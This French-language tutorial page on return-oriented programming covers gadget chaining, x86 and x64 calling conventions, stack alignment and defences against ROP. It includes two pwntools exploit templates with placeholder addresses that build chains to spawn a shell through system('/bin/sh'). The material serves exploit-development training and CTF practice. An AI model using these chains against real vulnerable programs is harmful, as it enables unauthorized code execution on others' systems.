ROP - Programmation Orientée Retour

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de Base

Programmation Orientée Retour (ROP) est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans des bibliothèques chargées, connus sous le nom de "gadgets". Chaque gadget se termine généralement par une instruction ret et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.

Comment fonctionne ROP

  1. Détournement du Flux de Contrôle : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
  2. Enchaînement de Gadgets : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, system("/bin/sh")), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
  3. Exécution du Payload : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.

Outils

Typiquement, les gadgets peuvent être trouvés en utilisant ROPgadget, ropper ou directement à partir de pwntools (ROP).

Exemple de Chaîne ROP en x86

x86 (32 bits) Conventions d'appel

  • cdecl : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.
  • stdcall : Semblable à cdecl, mais l'appelé est responsable du nettoyage de la pile.

Recherche de Gadgets

Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :

  • pop eax; ret : Ce gadget extrait la valeur du haut de la pile dans le registre EAX et retourne, nous permettant de contrôler EAX.
  • pop ebx; ret : Semblable à ce qui précède, mais pour le registre EBX, permettant le contrôle de EBX.
  • mov [ebx], eax; ret : Déplace la valeur dans EAX vers l'emplacement mémoire pointé par EBX et retourne. Cela est souvent appelé un gadget write-what-where.
  • De plus, nous avons l'adresse de la fonction system() disponible.

Chaîne ROP

En utilisant pwntools, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter system('/bin/sh'), notez comment la chaîne commence par :

  1. Une instruction ret pour des raisons d'alignement (optionnel)
  2. Adresse de la fonction system (supposant ASLR désactivé et libc connue, plus d'infos dans Ret2lib)
  3. Espace réservé pour l'adresse de retour de system()
  4. Adresse de la chaîne "/bin/sh" (paramètre pour la fonction system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Chaîne ROP dans l'exemple x64

x64 (64 bits) Conventions d'appel

  • Utilise la convention d'appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres RDI, RSI, RDX, RCX, R8 et R9. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans RAX.
  • La convention d'appel Windows x64 utilise RCX, RDX, R8 et R9 pour les quatre premiers arguments entiers ou pointeurs, avec des arguments supplémentaires passés sur la pile. La valeur de retour est placée dans RAX.
  • Registres : Les registres 64 bits incluent RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, et R8 à R15.

Trouver des Gadgets

Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne "/bin/sh" comme argument à system()) et ensuite appeler la fonction system(). Nous supposerons que nous avons identifié les gadgets suivants :

  • pop rdi; ret : Dépile la valeur du haut de la pile dans RDI et retourne ensuite. Essentiel pour définir notre argument pour system().
  • ret : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.

Et nous connaissons l'adresse de la fonction system().

Chaîne ROP

Ci-dessous un exemple utilisant pwntools pour configurer et exécuter une chaîne ROP visant à exécuter system('/bin/sh') sur x64 :

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Dans cet exemple :

  • Nous utilisons le gadget pop rdi; ret pour définir RDI à l'adresse de "/bin/sh".
  • Nous sautons directement à system() après avoir défini RDI, avec l'adresse de system() dans la chaîne.
  • ret_gadget est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant en x64 pour garantir un alignement correct de la pile avant d'appeler des fonctions.

Alignement de la pile

L'ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu'une instruction d'appel est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (c'est-à-dire que RSP n'est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une chaîne ROP. Pour corriger cela, il suffit d'ajouter un gadget ret avant d'appeler system dans votre chaîne ROP.

Différence principale entre x86 et x64

tip

Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus large. Le nombre accru de registres et l'espace d'adressage plus large dans l'architecture x64 offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).

Exemple de chaîne ROP en ARM64

Bases ARM64 & conventions d'appel

Consultez la page suivante pour ces informations :

Introduction to ARM64v8

Protections contre ROP

  • ASLR & PIE : Ces protections rendent l'utilisation de ROP plus difficile car les adresses des gadgets changent entre les exécutions.
  • Stack Canaries : En cas de BOF, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour afin d'abuser d'une chaîne ROP.
  • Manque de gadgets : S'il n'y a pas assez de gadgets, il ne sera pas possible de générer une chaîne ROP.

Techniques basées sur ROP

Notez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :

  • Ret2lib : Utiliser ROP pour appeler des fonctions arbitraires d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme system('/bin/sh').

Ret2lib

  • Ret2Syscall : Utiliser ROP pour préparer un appel à un syscall, par exemple execve, et le faire exécuter des commandes arbitraires.

Ret2syscall

  • EBP2Ret & EBP Chaining : Le premier abus sera EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).

Stack Pivoting - EBP2Ret - EBP chaining

Autres exemples et références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks